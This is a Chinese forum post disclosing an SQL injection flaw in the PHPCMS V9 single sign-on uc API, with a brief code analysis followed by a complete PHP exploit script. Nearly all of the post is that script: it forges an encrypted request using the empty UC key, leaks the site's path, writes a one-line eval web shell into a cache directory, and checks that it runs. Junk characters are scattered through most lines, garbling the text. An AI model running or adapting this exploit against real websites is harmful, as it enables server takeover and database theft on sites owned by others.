找回密码
 立即注册
查看: 2136|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。  h  R" Q; \" W% ~

: h: ^0 f. U' S4 Y  u& h( y所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
" w, z% H) q+ y% R3 d1 h+ j. }6 z- \8 K3 O: [2 p( f) N; m
漏洞分析:% ^4 _6 y. _% n
1.未启用ucenter服务的情况下uc_key为空$ b1 W; q  T" r; j" O2 P
define('UC_KEY', pc_base::load_config('system', 'uc_key'));8 F% S, p+ S: u/ }* v: R
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
8 D! ~7 y: q' D2 n: X    public function deleteuser($get,$post) {
6 ~$ U4 B2 S: Z2 W$ x0 T/ o+ L3 V- N        pc_base::load_app_func('global', 'admin');% s: ?+ j5 W/ |7 Z
        pc_base::load_app_class('messagequeue', 'admin' , 0);: l( |  b- T! f0 }. S0 h
        $ids = new_stripslashes($get['ids']);
% |4 Z7 J9 r: T" M8 j$ s        $s = $this->member_db->select("ucuserid in ($ids)", "uid");' E% \9 j; f1 k3 M, n
SQL语句为0 {  {. [! O$ O- b# B: Z1 z
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)+ Y2 E! I/ x" ^. y/ W) n# u1 x; R

# A3 B# v9 P( l# W. u, @1 O利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
3 S, ]9 d* x0 L. p7 d3 t6 _# T3 V<?php
. O  n: {: \& ~print_r('8 M0 _! I5 J3 m' w8 [& e
---------------------------------------------------------------------------! Q4 d4 p# _/ K  R# o" U5 B
PHPcms (v9 or Old Version) uc api sql injection 0day. o. S7 U6 j$ [" n# \
by rayh4c#80sec.com0 ^' F- B: j$ c( H3 V
---------------------------------------------------------------------------
% v7 S: d4 K4 x3 [# C3 w+ Y; ~');
4 R2 L, d9 r5 Y8 ^; E% e' m# Y' {6 F, x+ w
if ($argc<3) {8 V9 p7 q7 |( ]
    print_r('
! C/ ]* b: I6 s9 U---------------------------------------------------------------------------
; l, `7 L" B/ {9 c3 QUsage: php '.$argv[0].' host path OPTIONS
- k7 G  T9 x* l7 ]host:      target server (ip/hostname)
# F' E( @$ D: z$ d" R2 m  c* Zpath:      path to phpcms
5 T( q6 D& \& a/ i& f- ]8 [Options:3 i* x# f1 a# ?. J* Z/ ^  D
-p[port]:    specify a port other than 808 b3 ^5 ^- B& R  j, U: ^
-P[ip:port]: specify a proxy2 ]" g# U& N; e) Z5 K9 ]: G. A4 |
Example:1 r3 T; r) i  k& O" x' ]
php '.$argv[0].' localhost /
1 L4 i; C3 F; I, R4 ^" hphp '.$argv[0].' localhost /phpcms/ -p819 }  M7 p! k  @/ o3 K* G& b% A
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80- Q& ^/ Z7 w) D5 }. V9 S
---------------------------------------------------------------------------4 \/ |8 F" t# e8 J/ U
');
* |8 |$ }- q; ^& p7 [( b5 |    die;* w2 _1 @0 T8 u- C" o9 X7 e
}& H- p- t. R2 u+ T9 v2 B# h
0 s! z/ g* W7 f( d/ l
error_reporting(7);
' d0 B% r# j2 g6 h  N2 }ini_set("max_execution_time",0);
, f) x+ O- E( Cini_set("default_socket_timeout",5);
) H$ `3 U; E8 ^& F
0 E5 ]/ q+ c  N* N+ lfunction quick_dump($string)* y7 x7 W8 i& b8 Q4 i$ d
{
! @1 A9 T5 L0 G/ E/ n1 d  $result='';$exa='';$cont=0;" b7 s. \/ |) w/ n
  for ($i=0; $i<=strlen($string)-1; $i++)+ G) _) \- B; e* _2 p- F3 M
  {
6 U+ A: f  w; j# F+ {   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
' ~$ p! D' _7 Q! G+ w2 O   {$result.="  .";}4 W+ q$ ?5 G, O; }+ |# k
   else6 y& |2 F0 I7 @4 V* b) L
   {$result.="  ".$string[$i];}
. O' c9 n* b' c6 ]/ N) L   if (strlen(dechex(ord($string[$i])))==2)/ e8 u, v+ J5 i& N3 j, m
   {$exa.=" ".dechex(ord($string[$i]));}2 e: ], @0 o0 D" o( n. v( ]1 [
   else5 m* ]' m# W6 D/ E4 X% [6 B9 i
   {$exa.=" 0".dechex(ord($string[$i]));}7 L0 O6 y' |) g  p; ]7 u! U
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
7 h0 [* R( G1 E$ c  }
8 O1 {$ P' q' j4 @: `# C6 r return $exa."\r\n".$result;
5 x1 z; a5 O. ^- l/ f& o) e# z}
1 K  D: D6 e" J1 a3 c4 O8 d$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';& k7 s  m! }: [) U
1 B" I+ D+ {. f0 n+ i* T& ?
function send($packet)
( Z8 `/ l/ q" \# }{
" Z. k8 \# y, R+ R: s$ T9 d  global $proxy, $host, $port, $html, $proxy_regex;3 R/ r$ ~2 V+ w
  if ($proxy=='') {7 s4 ^& x0 e% d- A- Q1 e0 b
    $ock=fsockopen(gethostbyname($host),$port);
# D2 h5 m6 x7 l4 K; T    if (!$ock) {
: N7 z* Q: V3 i( M$ m      echo 'No response from '.$host.':'.$port; die;
# Z$ f+ F7 L5 u0 O; C' o    }
7 Z& ]& ?  d& O  }( B; Y" o( g6 `% G" H. p
  else {' a4 _) q' F4 X1 W
        $c = preg_match($proxy_regex,$proxy);
# `% `  r1 d/ G$ T0 L. I8 ?    if (!$c) {! n- t  z- j$ n9 S7 |% v
      echo 'Not a valid proxy...';die;, t# M2 L; y% a+ N+ o, G7 Q, g
    }
  S; A: V+ v& b+ D: J) ~    $parts=explode(':',$proxy);" a" ~+ U6 A  q
    $parts[1]=(int)$parts[1];/ f- |* m5 y5 v) u
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";, l$ e) X% i1 P
    $ock=fsockopen($parts[0],$parts[1]);/ Z* Y* B* l* j! s+ W9 W5 W3 p
    if (!$ock) {
4 @: a, [/ r, G' l6 V. S8 m      echo 'No response from proxy...';die;. H' z7 v9 d$ F1 b/ ?, k
        }
  [2 ^  U. j( a* A  }' b2 H: a- K# p/ l
  fputs($ock,$packet);
- @5 `4 \+ A1 F- A( G$ v  if ($proxy=='') {( c9 F' h% H5 M' a0 ?9 @
    $html='';
4 o! a* ^- d; Q. F    while (!feof($ock)) {
$ _% n" D9 O. w, X6 \2 ]      $html.=fgets($ock);
& U/ r& K( h* K5 q( m7 H9 I    }/ Q  Y3 J$ h2 N* R- R. I. |
  }$ T& J7 J% j" I% M
  else {
7 k- A7 i" p# D" c- O0 G- D    $html='';& d$ f/ U& {' E8 k; L7 p6 C$ l; f
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {& S$ L; W2 B5 ~: P; ^" r8 Y
      $html.=fread($ock,1);8 l/ G. O/ b5 o2 i! J( x4 y$ h
    }
9 e: m2 h8 c( D% j, _" s  }
  V! ~8 V5 c  F  fclose($ock);
1 ~) e: }4 R0 O4 T* p}
1 d$ ?7 b. @, d; M* w) c, y
) _6 |1 n5 m& t- e$host=$argv[1];
6 w* N1 ^  b, g$ q. r' M+ S$path=$argv[2];
2 M% }1 I( z$ Q. t9 r( _$port=80;7 Y. _% g+ f3 \% N0 l
$proxy="";
; C9 L5 G! x% r( g' e9 Jfor ($i=3; $i<$argc; $i++){" t  x) o. L0 W
$temp=$argv[$i][0].$argv[$i][1];0 u$ |8 u  A' t' i" |* O
if ($temp=="-p")
% E/ i" U1 P: s$ ~4 P( T{
! k% L4 E1 L$ r  $port=(int)str_replace("-p","",$argv[$i]);2 y. d+ O7 v3 G# r9 }  E3 i. P
}
" V* t1 [5 Z, S& e. k) v3 c" S: Tif ($temp=="-P")
' g, a( T% Z- y. h0 A( a  I6 I3 M% X{
; e4 \3 ]6 c( _5 P& b/ }5 M  $proxy=str_replace("-P","",$argv[$i]);5 f% H$ C* r$ X; P' z
}6 d3 u- C6 t" m
}; \* C( r% Z0 ]$ {, D
8 R. V. |# }. o
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}/ {7 N" d0 _) Y
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
0 X8 G; e' e! _" W$ x  V1 }( ^1 v
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
3 Y$ S+ i0 G" p! F/ Q. z  D/ e( R0 x4 {" u5 ]
    $ckey_length = 4;
, ^& s5 l# H3 l# t" u; C7 q/ e3 J9 Q0 j- D) M4 G& V' f
    $key = md5($key ? $key : '');
! g6 y' P2 Y! p0 }    $keya = md5(substr($key, 0, 16));! D! ?$ J: j4 r! m8 v' ~5 w+ C) k
    $keyb = md5(substr($key, 16, 16));
+ p1 z8 z7 e8 B: J1 D# R    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
! W$ M! E9 T! ~
) W. z; r8 l. n4 Y& `    $cryptkey = $keya.md5($keya.$keyc);' o4 t+ N/ f- @( z9 @* ~0 M7 W1 A
    $key_length = strlen($cryptkey);
0 `/ H0 N/ {1 j( z# `+ h% X: I, ^: P6 I! V3 s9 M
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;. R$ b: H/ X9 W1 n0 i3 X4 g
    $string_length = strlen($string);7 ?+ y0 K. y) y9 ^/ R. g1 b9 x9 A

) u# j; ^  X/ |- k' k7 `    $result = '';0 S& D' t3 U9 E! T9 R) i+ o
    $box = range(0, 255);
5 a  Q( I- k- T0 H* J# p: Y4 B0 |0 E' \( u4 y' |( `& q+ F
    $rndkey = array();! W& g3 x. }9 H$ a5 t
    for($i = 0; $i <= 255; $i++) {7 p! V0 K% t+ F# l% l% X2 A$ k
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
& B3 I# t; k6 e# W" t2 m4 S# M5 |; A" k    }, ]% a; b) s* i" y( g/ K: }/ U% a
- g5 c* s# J0 M( a
    for($j = $i = 0; $i < 256; $i++) {  W5 [) ]9 t2 b2 n: c) L! h/ N0 T( Y
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
5 {( v5 M/ ^/ Y  W        $tmp = $box[$i];$ W/ H% S( B3 {+ Q4 l1 S
        $box[$i] = $box[$j];
+ ^9 z* w2 a, t        $box[$j] = $tmp;
0 z3 L. g7 L  w2 ^/ U    }) `; z+ \2 V3 h
- p$ k: Z% s+ K, Q
    for($a = $j = $i = 0; $i < $string_length; $i++) {
& w1 S" {2 g+ F6 }, S        $a = ($a + 1) % 256;
/ E, @0 |( D" K3 J+ P5 E0 j+ z        $j = ($j + $box[$a]) % 256;
  m4 g8 U% C: q0 Q  E        $tmp = $box[$a];
4 w* R0 U; m8 a: G0 y9 z        $box[$a] = $box[$j];& Q; _8 _5 k: }2 b
        $box[$j] = $tmp;
8 t! T/ |  z3 n& ]( h: {        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));/ f% W2 v( z, {3 e& I
    }& k! n" C4 Q; t% o1 y

. T4 q. \5 \+ V, v% l$ M' i    if($operation == 'DECODE') {
, D# P. o7 D1 b0 d+ x        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {# R; u1 `. E7 v$ t3 `0 R% z
            return substr($result, 26);8 Q( \4 f  n1 o& B; A/ ]
        } else {4 J/ I5 ~  s+ n, r0 ~" G6 n
            return '';7 O3 Y& |. v, f# |
        }
1 R6 {  q5 O* A  e' o2 d' h    } else {; G2 w/ [+ u1 B% N
        return $keyc.str_replace('=', '', base64_encode($result));, n  V% a8 `. ~+ v; ~* P
    }1 v& T' K- v$ T+ c4 H

0 h! C# D* s( d# w+ g% Y}3 F  D& L8 D- L. w) M1 b; n

  |. R5 M5 Q% W$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
6 H# w4 n8 B3 o2 a% c! Z$SQL = urlencode(authcode($SQL, "ENCODE", ""));, N  l$ ^8 q- x) ?1 h# k& E. Z
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";8 ]( {0 [5 h# k' }0 O5 w, L
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";/ p- c7 R  ~% {
$packet.="User-Agent: Mozilla/5.0\r\n";5 v- Z7 Y8 w$ L+ o
$packet.="Host: ".$host."\r\n";) ~: y' B5 @2 T, T, D; ^! g/ Y
$packet.="Connection: Close\r\n\r\n";
4 l; `* C: w* G# T! A; lsend($packet);
" M; s' f" ^" g( Gif(strpos($html,"MySQL Errno") > 0){+ v' ?, f1 k2 v$ v" r
echo "[2] 发现存在SQL注入漏洞"."\n";
) e: b9 [0 ?& ^8 h& Q  q* ^echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";% W$ s: y- A( t/ B
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
5 j, R; a! B# O# p1 `/ J$packet.="User-Agent: Mozilla/5.0\r\n";5 z) m. R2 ]+ ?1 X
$packet.="Host: ".$host."\r\n";
' z, g  t' T# E$packet.="Connection: Close\r\n\r\n";# T) b- @3 i8 v1 z
send($packet);$ v5 [2 U" o, j4 l0 I
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
* I) Y" H2 W+ ?( m  A9 V3 C0 A1 M//print_r($matches);9 E: q. l8 F- q! K3 g2 i) z
if(!empty($matches)){
, J- n8 U. F# M* `  Y- gecho "[4] 得到web路径 " . $matches[0]."\n";4 x3 o- N. }/ H% o- _0 H# B
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";0 D1 b! A! E$ r  Q: ^
$SQL = "time=999999999999999999999999&ids=1)";# U2 G5 D0 ?" Q
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";4 S9 a8 b! ^& X% E6 |
$SQL.="&action=deleteuser";- K# \% {/ w. O. P* q8 M
$SQL = urlencode(authcode($SQL, "ENCODE", ""));. c! X; n) O8 M6 F4 n
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";8 i) [6 k/ d8 A  O
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";2 {3 h0 v# j6 p/ _6 N
$packet.="User-Agent: Mozilla/5.0\r\n";& V0 k* D; g; W, B; z$ o+ ^# Q
$packet.="Host: ".$host."\r\n";, ^/ ]5 _/ X& G5 p1 U
$packet.="Connection: Close\r\n\r\n";$ }$ r9 k6 b6 _3 L
send($packet);
: l) ]! Q+ |) N2 v. Hif(strpos($html,"Access denied") > 0){
# C% E) E7 m: ^& W# p  Oecho "[-] MYSQL权限过低 禁止写入文件 ";
' R$ q& Z& m2 k! Z5 S2 `$ _die;! K. h. z7 ?( N2 N# {
}# }7 ^) `! c& ?5 F# E& a
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
0 M  _% m$ n* f$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
9 J1 x1 N5 W4 ]2 M6 y; ?$packet.="User-Agent: Mozilla/5.0\r\n";1 X) ~; r) p$ v- C) ]4 V$ V- u
$packet.="Host: ".$host."\r\n";' `! Y0 s: W. c! M9 ?+ J5 |& ^' F
$packet.="Connection: Close\r\n\r\n";* ~. t5 e! r; f/ ~3 \0 p1 e
send($packet);
) w# G& }8 {- x' x" K5 O0 Bif(strpos($html,"<title>phpinfo()</title>") > 0){% L- G" y2 d+ _" F0 t
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
# t8 y% D8 f$ {6 I}5 j' Y( G2 e; O+ J, k" `6 B' }
}else{4 F$ T  B( y, i% i5 Y: _
echo "[-]未取到web路径 ";/ Q' s, E& E9 t* x6 J9 S
}
: e6 Y* y4 N7 a, z1 X}else{
7 C4 V7 P' K3 A- J5 o, qecho "[*]不存在SQL注入漏洞"."\n";
1 A) Y( J8 k! e" R* R; ]}7 d! B# p) I) C* K: T
6 N5 n  l; o! s# A% K
?>) g' {' M/ x8 i7 K! b$ H8 i4 d. e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表